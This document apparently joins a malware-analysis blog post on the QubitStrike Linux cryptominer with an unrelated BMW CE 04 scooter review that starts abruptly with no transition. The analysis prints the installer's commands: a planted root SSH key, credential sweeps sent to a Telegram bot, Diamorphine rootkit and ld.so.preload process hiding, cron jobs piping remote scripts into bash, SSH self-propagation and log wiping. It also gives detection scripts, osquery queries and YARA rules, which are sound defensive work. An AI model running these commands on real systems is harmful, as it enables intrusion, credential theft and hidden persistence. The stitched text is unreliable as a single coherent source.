+ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali'
+ chattr -aui /etc/ssh
+ chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow
+ echo
+ echo
+ mkdir -p /etc/ssh
+ sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config
+ chmod 600 /etc/ssh/sshd_config
+ systemctl restart ssh||service ssh restart||/etc/init.d/ssh restart||/etc/init.d/sshd restart||/etc/rc.d/sshd restart||service sshd restart||scw-fetch-ssh-keys --upgrade

Phoning home

Qubitstrike collects some information about the health of the miner and the backdoor and then sends it to a Telegram channel:

+ service ssh status
+ '[' 0 -eq 0 ']'
+ SSH_Ld=true
+ grep python-dev
+ grep -v grep
+ ps aux
root        4088  192  0.1  42216  4768 ?        Ssl  18:24   0:02 /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90
+ '[' 0 -eq 0 ']'
+ MINER_stat=running
+ DATA_STRING='IP: 136.54.68.146 | WorkDir: /usr/share/.LQvKibDTq4 | User: root | cpu(s): 4 | SSH: true | Miner: running'
+ zurl --silent --insecure --data chat_id=DEFANGED_5531196733 --data disable_notification=false --data parse_mode=html --data 'text=IP: 136.54.68.146 | WorkDir: /usr/share/.LQvKibDTq4 | User: root | cpu(s): 4 | SSH: true | Miner: running' https://api.telegram.org/DEFANGED_bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage

Credential Theft

The most disappointing part of the script is how it steals and sends credentials. Their approach is exceptionally slow: It crawls the filesystem separately for each credential type rather than using the find commands native support for finding multiple names. I blame the find command's bizarre syntax and poorly written documentation, as it took me a couple of attempts to get it correct myself.

+ CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env")
+ for CREFILE in ${CRED_FILE_NAMES[@]}
+ find / -maxdepth 23 -type f -name credentials
+ xargs -I % sh -c 'echo :::%; cat %'

Contrary to most credential theft malware, QubitStrike does not attempt to steal credentials for web browsers or wallets – the authors are clearly focused on acquiring more compute resources. I took a look on my own Linux workstation to see what sort of credentials this might pick up and found:

/home/t/.config/gcloud/legacy_credentials/t@xyz.dev/.boto
/home/t/.config/gcloud/credentials.db
/home/t/.config/gcloud/access_tokens.db

After collection, the script sends the credentials home via a second Telegram message:

++ cat /tmp/creds
+ SECRETS=
+ zurl --silent --insecure --data chat_id=DEFANGED_5531196733 --data disable_notification=false --data parse_mode=html --data text= https://api.telegram.org/DEFANGED_bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage
+ cat /tmp/creds
+ rm /tmp/creds

Safety reminder: never mount your personal home directory to your malware VMs, as the find command would have traversed filesystems to discover and upload your credentials.

The kernel-level rootkit: Diamorphine

Here's where Qubitstrike gets interesting. This is the first time I've seen a casual miner with a Linux rootkit that works on a modern Ubuntu release:

---------------------------------------
 Begin hiding 
---------------------------------------
+ ex_hid
+ hide1
+ ins_package
+ type apt
+ apt update -qq --fix-missing
46 packages can be upgraded. Run 'apt list --upgradable' to see them.
++ uname -r
+ apt-get install -y -qq gcc make kmod wget net-tools linux-headers-6.2.0-27-generic -o Dpkg::Progress-Fancy=0 -o APT::Color=0 -o Dpkg::Use-Pty=0
...
+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/... | base64 -d
+ tar -xf /usr/share/.LQvKibDTq4/hf.tar -C /usr/share/.LQvKibDTq4/
+ cd /usr/share/.LQvKibDTq4
+ make
make -C /lib/modules/6.2.0-27-generic/build M=/usr/share/.LQvKibDTq4 modules
make[1]: Entering directory '/usr/src/linux-headers-6.2.0-27-generic'
  CC [M]  /usr/share/.LQvKibDTq4/diamorphine.o
  MODPOST /usr/share/.LQvKibDTq4/Module.symvers
  CC [M]  /usr/share/.LQvKibDTq4/diamorphine.mod.o
  LD [M]  /usr/share/.LQvKibDTq4/diamorphine.ko
  BTF [M] /usr/share/.LQvKibDTq4/diamorphine.ko
Skipping BTF generation for /usr/share/.LQvKibDTq4/diamorphine.ko due to unavailability of vmlinux
+ insmod diamorphine.ko

Rather than fetching the rootkit, it cleverly embeds it as a base64 string and decodes it – providing ample detection opportunity. If you ever see a base64 string that begins with H4sI, you know you are dealing with a base64-encoded gzip file (another detection hint). Since kernel module binaries are not portable, Qubitstrike installs a compiler and the headers necessary before building the rootkit.

So, what is Diamorphine? It's easily the most popular open-source rootkit for Linux. I've long poo-pooed kernel-mode rootkits in Linux as unsupportable due to the constant churn of the Linux kernel, but surprisingly, Diamorphine has been updated to work on modern Linux kernels! It works perfectly on a fully patched Ubuntu 23.04 or 23.10 machine (Linux 6.2.0 & 6.5.3). Diamorphine does segfault on my ArchLinux laptop (Linux 6.5.7), showing that Linux rootkits are still somewhat fragile.

Diamorphine has a unique control mechanism: signals. You can see it in action in Qubitstrike:

+ echo 'Hiding process ( python-dev ) pid ( 4088 )'
Hiding process ( python-dev ) pid ( 4088 )
+ kill -31 4088

How does the process hiding work? Diamorphine intercepts calls to the getdents64(2) system call, used in turn by readdir(3). On Linux, system utilities, such as ps or netstat, read the contents of the /proc directory to know what processes or tasks are currently running – this malware will filter out the pid entry for any processes that have been passed signal 31 (the unused SIGSYS signal).

In addition, Diamorphine has an option of hiding any files matching a MAGIC_PREFIX. This is commonly used to hide directories, but Qubitstrike does not take advantage of it. Diamorphine also supports other signals, notably -64, which upgrades a process to root access. From diamorphine.c:

void
give_root(void) {
...
    newcreds->uid.val = newcreds->gid.val = 0;
    newcreds->euid.val = newcreds->egid.val = 0;
    newcreds->suid.val = newcreds->sgid.val = 0;
    newcreds->fsuid.val = newcreds->fsgid.val = 0;
...
}

This signals-based mechanism makes Diamorphine easy to detect. Simply iterate over every signal and see what happens! We'll show an example later.

User-mode rootkit: processhider

If Diamorphine fails to build, QubitStrike falls back to using a modified version of github.com/gianlucaborello/libprocesshider/blob/master/processhider.c – a user-mode rootkit.

+ echo I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg... | base64 -d
+ sed -i s/procname/python-dev/g /usr/share/.LQvKibDTq4/prochid.c
+ chattr -ia /etc/ld.so.preload /usr/local/lib/
+ gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so /usr/share/.LQvKibDTq4/prochid.c -ldl
+ echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload
+ '[' -f /usr/local/lib/libnetresolv.so ']'
+ chattr +i /usr/local/lib/libnetresolv.so
+ chattr +i /etc/ld.so.preload

This malware intercepts userland requests to glibc's readdir(3) function. If the name matches python-dev, the process is hidden in much the same way as Diamorphine. In the old days, user-mode rootkits were deployed by setting the LD_LIBRARY_PATHenvironment variable, but on Linux, you can get the same result by adding the library path to /etc/ld.so.preload.

In 99% of environments, this file shouldn't exist. Check for it.

Establishing Persistence

QubitStrike will establish persistence through cron. First, it grabs the killer script, which shares the same competition killers we saw before, from Codeberg, and installs it to cron:

+ cron_set
+ killerd=/usr/share/.28810
+ mkdir -p /usr/share/.28810
+ [[ zurl -o != '' ]]
+ zurl -o /usr/share/.28810/kthreadd https://codeberg.org/m4rt1/sh/raw/branch/main/killer.sh
+ chmod +x /usr/share/.28810/kthreadd
+ chattr -R -ia /etc/cron.d
+ echo -e '*/1 * * * * root /usr/share/.28810/kthreadd' > /etc/cron.d/netns

It also sets the miner to start on reboot:

+ echo '@reboot root /usr/share/.LQvKibDTq4/python-dev -c /usr/share/.LQvKibDTq4/config.json' > /etc/cron.d/apache2

Once a day, it starts the QubitStrike installer again using the latest code. Since there is no other cron task to reinstall the Diamorphine module, this means there can be up to a full day where the miner is running unhidden. I like how it hedges its bets by using the renamed zget or curl commands:

+ echo '@daily root zget -q -O - https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash' > /etc/cron.d/apache2.2
+ echo -e '0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash'  > /etc/cron.d/netns2
+ echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab
+ echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab
+ chattr -R +ia /etc/cron.d
+ chattr -R +i /usr/share/.LQvKibDTq4

The viral component of QubitStrike

One of the surprising features of QubitStrike is that it will attempt to replicate itself to any systems it finds in /root/.ssh/known_hosts:

ssh_local() {
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done
fi
}

To be more effective, the installer should have also parsed other users known_hosts files, but perhaps I shouldn't be giving malware authors tips.

The coup de grace: log truncation

Before exiting the installer, QubitStrike truncates many important system logs:

logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog)
  for Lg in "${logs[@]}"; do
    echo 0> $Lg;
  done

It does not do anything about truncating systemd logs, though.

Detecting Qubitstrike from a shell

On Linux, process hiders are hilariously simple to detect. In my experience, ro rootkits bother to hide all of the /proc lookup points, preferring instead to just hide from the /proc directory list.

My detection technique is to iterate over all possible process ID numbers and check for the existence of /proc/$pid/something file. If it exists, cross-reference it against the directory listing of /proc, and report missing entries. This works swimmingly:

#!/bin/bash
start=$(date +%s)
for pid in *; do
    visible[$pid]=1
done

for i in $(seq 2 "$(cat /proc/sys/kernel/pid_max)"); do
    [[ ${visible[$i]} = 1 ]] && continue
    [[ ! -e /proc/$i/status ]] && continue
    [[ $(stat -c %Z /proc/$i) -ge $start ]] && continue

    #  pid is a kernel thread
    [[ $(awk '/Tgid/{ print $2 }' "/proc/${i}/status") != "${i}" ]] && continue

    exe=$(readlink "/proc/$i/exe")
    cmdline=$(tr '\000' ' ' <"/proc/$i/cmdline")
    echo "- hidden $(cat /proc/$i/comm)[${i}] is running ${exe}: ${cmdline}"
done

Here's what this script outputs on a QubitStrike victim host:

- hidden python-dev[27158] is running /usr/share/.LQvKibDTq4/python-dev: /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 

If a rootkit uses a kernel module, as Diamorphine does, it's almost certainly going to impact the kernel taint value, as well as leave evidence behind in the dmesg buffer. QubitStrike and Diamorphine are no exception:

kernel taint value: 12288
* matches bit 12: externally-built (out-of-tree) module was loaded
* matches bit 13: unsigned module was loaded

dmesg:
[ 1721.518533] diamorphine: loading out-of-tree module taints kernel.
[ 1721.536521] diamorphine: module verification failed: signature and/or required key missing - tainting kernel

Now for the new star of the show, the script that uncovers kernel rootkits that communicate via signal:

-- [ rootkit-signal-handler.sh ] -----------------------------------------------
NOTE: root-escalation detection requires a non-root user
- SIGNAL 31 made /proc/46233 (this process) invisible!
- SIGNAL 63 caused /proc/modules to change:
--- /tmp/tmp.sjwv6iMtDx 2023-10-20 02:34:25.912665169 +0000
+++ /tmp/tmp.L1e9HVPFGi 2023-10-20 02:34:25.964663794 +0000
@@ -10,6 +10,7 @@
 bridge
 btrfs
 ccp
+diamorphine
 dm_multipath
 drm
 drm_kms_helper
- SIGNAL 31 made /proc/46233 (this process) visible again!
- SIGNAL 63 caused /proc/modules to change:
--- /tmp/tmp.IoOFxxR8en 2023-10-20 02:34:34.156522332 +0000
+++ /tmp/tmp.AWQeOosqOh 2023-10-20 02:34:34.212521840 +0000
@@ -10,7 +10,6 @@
 bridge
 btrfs
 ccp
-diamorphine
 dm_multipath
 drm
 drm_kms_helper

It's also easy to detect the SSH keys, hidden directories, and crontab entries – if you want to see how, check out the tstromberg/sunlight repo.

Detecting Qubitstrike with osquery

Some of you might know that I also maintain the osquery-defense-kit project, something I've put together in my time at Chainguard. It's a collection of production-quality queries to uncover suspicious behavior using osquery.

osquery-defense-toolkit has a handy make detect target to run all the scripts. Here's what pops up on a machine with Qubitstrike:

pid-hidden-by-rootkit (1 rows)
------------------------------
cgroup_path:/user.slice/user-501.slice/session-4.scope cmdline:'/usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90' cwd:/ disk_bytes_read:311296 disk_bytes_written:0 egid:0 euid:0 gid:0 name:python-dev nice:0 on_disk:1 parent:1 path:/usr/share/.LQvKibDTq4/python-dev pgroup:4030 pid:4030 resident_size:4096000 root:/ sgid:0 start_time:1697625949 state:S suid:0 system_time:23170 threads:10 total_size:2504282112 uid:0 user_time:6077320 wired_size:0

This is effectively a port of the hidden-pids.sh script I showed you before:

WITH RECURSIVE cnt(x) AS (
   SELECT 1
   UNION ALL
   SELECT x + 1
   FROM cnt
   LIMIT 4194304
)
SELECT p.*
FROM cnt
   JOIN processes p ON x = p.pid
WHERE x NOT IN (
       SELECT pid
       FROM processes
)
AND p.start_time < (strftime('%s', 'now') - 1)
AND (
       p.pgroup = p.pid
       OR (
           p.pid = p.parent
           AND p.threads = 1
       )
)

osquery finds the SSH keys:

unexpected-ssh-authorized-keys (1 rows)
---------------------------------------
atime:1697625779 ctime:1697625778 gid:0 mtime:1697625778 path:/root/.ssh/authorized_keys sha256:e8d5053e7c719114b45956695da845840ab45fb3e8d659f4ed991b274a8ed7a8 size:563 u_uid:0 uid:0 username:root

As well as the kernel taint:

unusually-tainted-kernel-linux (1 rows)
---------------------------------------
force_loaded:0 force_unloaded:0 is_aux:0 is_unsigned:8192 kernel_warning:0 modules:nft_compat,nft_chain_nat,overlay,xt_tcpudp,xt_nat,xt_multiport,xt_mark,xt_conntrack,xt_comment,xt_addrtype,xt_MASQUERADE,nf_tables,nfnetlink,ip6table_filter,iptable_filter,ip6table_nat,iptable_nat,nf_nat,nf_conntrack,nf_defrag_ipv6,nf_defrag_ipv4,ip6_tables,veth,bridge,stp,llc,tap,tls,isofs,kvm_amd,ccp,binfmt_misc,kvm,irqbypass,virtio_input,nls_iso8859_1,input_leds,serio_raw,dm_multipath,scsi_dh_rdac,scsi_dh_emc,scsi_dh_alua,efi_pstore,ip_tables,x_tables,autofs4,btrfs,blake2b_generic,raid10,raid456,async_raid6_recov,async_memcpy,async_pq,async_xor,async_tx,xor,raid6_pq,libcrc32c,raid1,raid0,multipath,linear,virtio_gpu,virtio_dma_buf,drm_shmem_helper,drm_kms_helper,syscopyarea,sysfillrect,sysimgblt,psmouse,ahci,virtio_net,drm,libahci,net_failover,virtio_blk,xhci_pci,xhci_pci_renesas,virtio_rng,failover out_of_spec:0 out_of_tree:4096 proprietary:0 requested_by_userspace:0 taint:12288

To look at the source code to these queries, see:

• pid-hidden-by-rootkit.sql
• unexpected-ssh-authorized-keys.sql
• unusually-tainted-kernel-linux.sql

These queries were written way before QubitStrike ever existed; they just happen to cover a broad set of malicious behavior. It's nice when old tricks still work on new dogs.

Detecting Qubitstrike with YARA

The original article by Cado had a very specific rule for the QubitStrike installer. Still, it's worth mentioning that generic malware detection rules that predate QubitStrike are equally as good at detecting not just the QubitStrike, but also the files it installs: Using a set of general-purpose YARA rules I plan to open-source, the QubitStrike installer triggered a record 22 different rules:

CRITICAL /Users/t/src/malware-menagerie/linux/2023.Trojan_Miner.QubitStrike/installer/mi.sh
  * router_malware
      usr_sbin: /usr/sbin
      wget: /wget
      curl: /curl
  * ld_so_preload
      ld_so_preload: /etc/ld.so.preload
  * systemctl_calls
      systemctl_disable: systemctl disable
  * linux_service_disabler
      setenforce_0: setenforce 0
      selinux_disabled: SELINUX=disabled
      watchdog: kernel.nmi_watchdog=0
  * linux_pkg_installer_command
      yum: yum install -y
  * danger_base64_decoder
      base64_d: base64 -d
  * echo_decode_bash
      echo: echo
      base64_d: base64 -d
      bash: bash
  * hardcoded_var_tmp_location
      var_tmp: /var/tmp/.
  * obfuscated_base64
      b_c_program: I2luY2x1ZGUgPHN0ZGlvLmg+
      b_user_rootkit: jaW5jbHVkZSA8ZGlyZW50Lmg+
      b_gzip: H4sI
  * hide_this_plz
      histfile: HISTFILE=
      histfile_dev: HISTFILE=/dev
  * kill_and_remove
      rm_f: rm -f
      rm_rf: rm -rf
      k_killall: killall
      k_pgrep: pgrep
      k_pkill: pkill
  * rm_f_hardcoded_tmp_path
      rm_f_tmp_var_dev: rm -rf /tmp/.LQvKibDTq4/
  * crontab_writer
      c_etc_crontab: /etc/crontab
      c_root_cron_entry: * * * * root
      c_reboot: @reboot
  * hidden_path
      crit: /tmp/.LQvKibDTq4
  * weird_tmp_path_not_hidden
      tmp_digits: /tmp/65
      tmp_short: /tmp/.$
  * chattr_caller
      chattr: chattr -
  * ssh_key_access
      ssh_authorized_keys: authorized_keys
      ssh_dir: /.ssh
  * recon_commands
      c_whoami: whoami
      c_id: id
      c_hostname: hostname
      c_ifconfig: ifconfig
  * suspicious_fetch_command
      curl_d: curl -o
      curl_insecure: curl --silent --insecure
  * hardcoded_dns_resolver
      d_google_public: 8.8.8.8
  * danger_crypto_miner
      crypto_pool: crypto-pool
      f2pool: f2pool
      monero_hash: monerohash
      monero_pool: moneropool
      xmrpool: xmrpool
      xmrig: xmrig

Most of the queries are self-evident, but I'll share one of the cooler queries I use to detect malware that is hiding data away in base64 encoded blobs:

rule obfuscated_base64 {
    $b_chmod = "chmod" base64
    $b_curl = "curl " base64
    $b_bin_sh = "/bin/sh" base64
    $b_bin_bash = "/bin/bash" base64
    $b_openssl = "openssl" base64
    $b_dev_null = "/dev/null" base64
    $b_user_agent = "User-Agent" base64
    $b_usr_bin = "/usr/bin" base64
    $b_usr_sbin = "/usr/sbin" base64
    $b_var_tmp = "/var/tmp" base64
    $b_var_run = "/var/run" base64
    $b_screen_dm = "screen -dm" base64
    $b_zmodload = "zmodload" base64
    $b_dev_tcp = "/dev/tcp" base64
    $b_bash_i = "bash -i" base64
    $b_bash_c = "bash -c" base64
    $b_http = "http://" base64
    $b_https = "https://" base64
    $b_c_program = "#include <stdio.h>" base64
    $b_user_rootkit = "#include <dirent.h>" base64
    $b_kernel_rootkit = "#include <linux/module.h>" base64
    $b_c_program2 = "#include<stdio.h>" base64
    $b_user_rootkit2 = "#include<dirent.h>" base64
    $b_kernel_rootkit2 = "#include<linux/module.h>" base64
    $b_password = "password" base64
    $b_gzip = "H4sI"
    $not_kandji = "kandji-parameter-agent"
    $not_kolide = "KOLIDE_LAUNCHER_OPTION"
    $not_mdmprofile = "mdmprofile"
    $not_chromium = "RasterCHROMIUM"
    $not_cert = "-----BEGIN CERTIFICATE-----"
  condition:
    filesize < 10485760 and any of ($b_*) and none of ($not_*)
}

My rules have not attempted to detect rootkit source code yet, but surprisingly, this exceptionally broad rule worked to discover Diamorphine:

rule suspicious_keywords {
  strings:
    $DDoS = "DDoS"
    $DD0S = "DD0S"
    $backdoor = "backdoor"
    $Backdoor = "Backdoor"
    $backd00r = "backd00r"
    $rootkit = "rootkit"
    $Rootkit = "Rootkit"
    $r00tkit = "r00tkit"
    $r00tk1t = "r00tk1t"
    $trojan = "trojan"
    $Trojan = "Trojan"
    $tr0jan = "tr0jan"
  condition:
    any of them
}

This simple rule to detect usermode rootkits caught the prochide.c:

rule userspace_process_hider {
  strings:
    $prochide = "processhide"
    $proc_to_filter = "process_to_filter"
    $readdir_override = "original_readdir"
  condition:
    any of them
}

The python-dev xmrig program triggered 8 different rules. I'll share one of the more creative ones:

rule probably_a_linux_miner {
  strings:
    $argon = "argon2d"
    $proc_self = "/proc/self"
    $numa = "NUMA"
  condition:
    all of them
}

If you want to see some YARA queries specifically tuned for finding Linux rootkits, dmknght/rkcheck is a good reference.

Detecting using gut instinct

If you ever see a host with a load of 5.0+ and no high-CPU processes, chances are you have been infected with a hidden crypto-miner. No rootkit I've seen on Linux attempts to manipulate load values.

Wrapping Up

I hope you had fun through this tour. If you have any questions or malware samples to share, feel free to contact me at thomas(%2b)stromberg.org

Introduction

In 2022, BMW released the CE 04: a futuristic-looking spaceship in a sea of boring two-wheeled EVs. It made quite a splash, with BMW selling nearly 5000 in the first year. While European sales were strong, I estimate that only about 250 were sold in the USA during 2022. I may, in fact be the only CE 04 owner in North Carolina.

One question I often get from onlookers is: is that thing a scooter, or is that a motorcycle? While the CE 04 shares parts with their motorcycle line (S1000XR, F850GS, etc.), it has a floorboard instead of foot pegs, so BMW calls it a scooter. With the transition to electric, there is no other difference between a scooter and a motorcycle. Scooters also generally have an area under the dash where you can place your legs or groceries, but the CE 04 does not.

While the CE 04 is the most fun I've had on two wheels, it is also the personification of compromise. It's heavy, but due to the exceptionally low center of gravity, it's far easier to handle than the equally heavy R1200GS. Rather than using new electric technologies like a hub motor, the CE 04 reuses well-tested components. Somehow, it is still the most efficient EV in its class (WMTC 3b). It's got more range than you need for the city, but less than you may want for touring.

Who should get this bike?

If you are looking for a fast, fun, practical utility bike, have access to a power outlet at home, and live within 30 miles (50km) of another EV charger (see the Plugshare map): skip the rest of this review and go buy a CE 04 now.

If you ride primarily in urban or suburban areas, I can't think of a better bike than the CE 04.

Who should steer clear of it?

If you want to participate in long group rides or want to venture out on day-long rides without micro-managing charging stops: check out Energica or Verge Motorcycles instead.

Specs

• Top Speed: 78mph
• Approximate Range:
  • 75 miles @ 35mph / 120 km @ 60km/h
  • 65 miles @ 45mph / 105 km @ 70km/h
  • 60 miles @ 55mph / 95 km @ 90km/h
  • 40 miles @ 70mph / 65 km @ 115km/h
• Acceleration: 0-30mph (0-50km/h) in ~2s
• Maintenance: Every 2 years or 6200 miles (10000km)
• Battery: 8.9 kWh total (8.5 kWh usable)
• Effective charge time: ~1 hour @ 30A (240V) with the “Quick Charge” option

What's Hot, What's Not?

Keeping in mind that I am using the CE 04 as both a utility vehicle and a sport touring vehicle in North Carolina:

Hot:

• Brisk acceleration
• Agile & easy to ride
• Inexpensive to fuel ($1.15 where I live)
• Always waking up to a full tank
• Lack of engine noise and vibration makes it easier to tune into your surroundings
• Leg protection
• Reverse gear
• Heated seat & hand-grips
• 30L of under-seat storage

Not so hot:

• Range anxiety is real
• Seats are uncomfortable for multi-hour rides
• AC charging only; no support for DC fast chargers.
• Fragile rear indicator lights

That Acceleration Tho

The CE 04 accelerates like a bat out of hell. If you crank the throttle all the way in “Road” or “Dynamic” mode, it will calmly and quietly reach 30km/h (18mph) before the first second is up. The lack of any perceived stress from the scooter when launching it from an intersection is uncanny. The traction control system limits the earliest stage of acceleration to avoid lofting the front wheel or throwing a passenger off the back.

The acceleration still pulls aggressively through 60 km (37mph), enough to leave anything short of a supercar in the dust when leaving an intersection. After 72 km (45mph), the acceleration is no longer shocking and feels like a regular modern vehicle.

Leaving everyone else behind at a green light is the most enjoyable part of owning the CE 04.

How does it ride?

The BMW CE 04 rides really well, especially considering its weight. The center of gravity on this bike is easier lower than anything BMW has ever produced, which makes it a far more enjoyable experience to take this bike into town than the GS I used to have.

I've ridden the CE 04 in gravel, double-track, cities, highways, rain, flooded roads, and even briefly on ice. So far, the biggest handling surprise has been how competent this bike feels in gravel. The bike is also good on the highway or two-up, where it behaves much better than a F650GS and nearly as good as a R1200GS.

I can only find two faults with the bike handling:

• The suspension is good, but you may periodically hit the travel limit (110mm front, 92mm rear) on a rough road
• The steering of the CE 04 feels more easily influenced by high-speed crosswinds than other bikes

The Electric Experience

The best two things about having an electric vehicle are:

• Near-zero maintenance
• Never having to visit a gas station

The worst parts are:

• The fear of exceeding your range
• The fear of arriving at a broken charger

It was only on my first multi-day trip with the CE 04 that I finally mastered the art of dialing up efficiency as needed. If you find yourself in a situation where you need to stretch your range, the following recipe is good to squeeze an extra 10-15% out of the scoot:

• Travel at 5mph (8km/h) less than the speed limit
• Use “Eco” Mode
• Avoid the brakes

I was surprised to learn that power usage has a cubic relationship with velocity:

power = 0.5 * density_of_air * velocity^3 * drag coefficient * surface area

This is much more noticeable on a two-wheeled EV than any other type of vehicle because of the high drag coefficient (>1 versus 0.23 in a Tesla Model Y), low energy density, and because they are highly efficient at slow speeds, whereas internal combustion engines are not. Even a small difference in speed dramatically impacts the range of EVs, especially a two-wheeled one.

I've observed a 23% range difference between “Dynamic” and “Eco” modes on the same stretch of road an hour apart. While the Dynamic mode has ~20% stronger regenerative braking than Eco, I'm skeptical of its effectiveness on a two-wheeled EV due to the relatively low inertial weight. The primary efficiency difference between the Evo/Rain and Road/Dynamic modes is due to the dampening of the acceleration curve.

Regarding the fear of arriving at a broken charger: I've now charged at 66 different locations and have only once had to adjust my route due to an unavailable charger. The key to avoiding charger disappointment is to look stations up on PlugShare ahead of time: if the most recent review doesn't reflect a successful charge, don't count on having one yourself.

Like most battery-powered devices, it takes about the same time to charge 20-80% as it does from 80-100% due to increased resistance from the battery. My average charge time at public chargers is 30 minutes (20-60%), but if I need to change up to 100% to make it somewhere, I'll grab a coffee and let the bike sit for an hour.

It is worth noting that the BMW CE 04 is only compatible with AC (alternating current) chargers, like what you have at home. While this means you can charge it from any 110V or 220V power source, it means that it isn't compatible with the faster DC (direct current) chargers. Due to this incompatibility, even with an adapter, the CE 04 will not charge at Tesla Superchargers or ElectrifyAmerica chargers. In the United States, the lack of DC support means roughly 15% of chargers are incompatible with the CE 04.

On the plus side, the various apps for looking up chargers allow you to select AC or DC. 99% of the free chargers are AC. The CE 04 works wonderfully with Tesla Destination Chargers, but you'll need to pack a TeslaTap Mini adapter to use them.

As the BMW CE 04 is slow at refueling compared to traditional two-wheeled bikes, group rides longer than 50 miles can be awkward. It doesn't help that group rides tend to encourage riding faster than the speed limit, which impacts your range.

Getting Connected

While the CE 04 does not require a cell phone to operate, you will need it if you want the giant 10.25” screen to show navigation instructions; you will need to install an Android or iOS application and connect your phone to your bike via Bluetooth. Good thing the scooter comes with a USB-C charging slot — the CE 04 even has a fan-cooled location for stowing your phone.

There is no support for Android Auto, CarPlay, or any other mechanism to display maps from your phone to the console. If you want Navigation, you have to use the BMW Motorrad Connected app, which isn't all that terrible.

The best features of the BMW-connected software are:

• You can set the preferred “Windiness” for your route
• Maps work offline
• It records a GPS route of every ride, along with the state-of-charge, ABS, and traction events.

The worst features are:

• It will not tell you how much range to expect at your destination
• It will not warn you if the destination exceeds your range
• It will not route you to a charging stop along the way
• It does not show chargers on the map
• Address lookups are sluggish and interrupted by Bluetooth connectivity changes
• If you have your phone setup as a hotspot, it will fail to display maps on your console

Does it Tour?

Hell, yes, it tours.

You can treat the BMW CE 04 as an exotic electric sport-touring machine, within reason. Due to the recharge times, the longest you can travel within 24 hours is about 400 mi/650km. My longest single-day ride has been 333 mi/530km, and my longest 3-day trip has been 650 mi/1050km.

Touring with the BMW CE 04 takes planning, but visiting small towns with tiny independent charging stations in pedestrian-friendly spaces has been surprisingly rewarding. Traveling at a slower speed to these little electrical oases has provided a more exciting travel experience than I ever had with the F650GS Dakar or R1150GS. By preferring slower travel speeds and making loads of coffee stops, touring on the CE 04 feels similar to a bicycle tour at 3X speed.

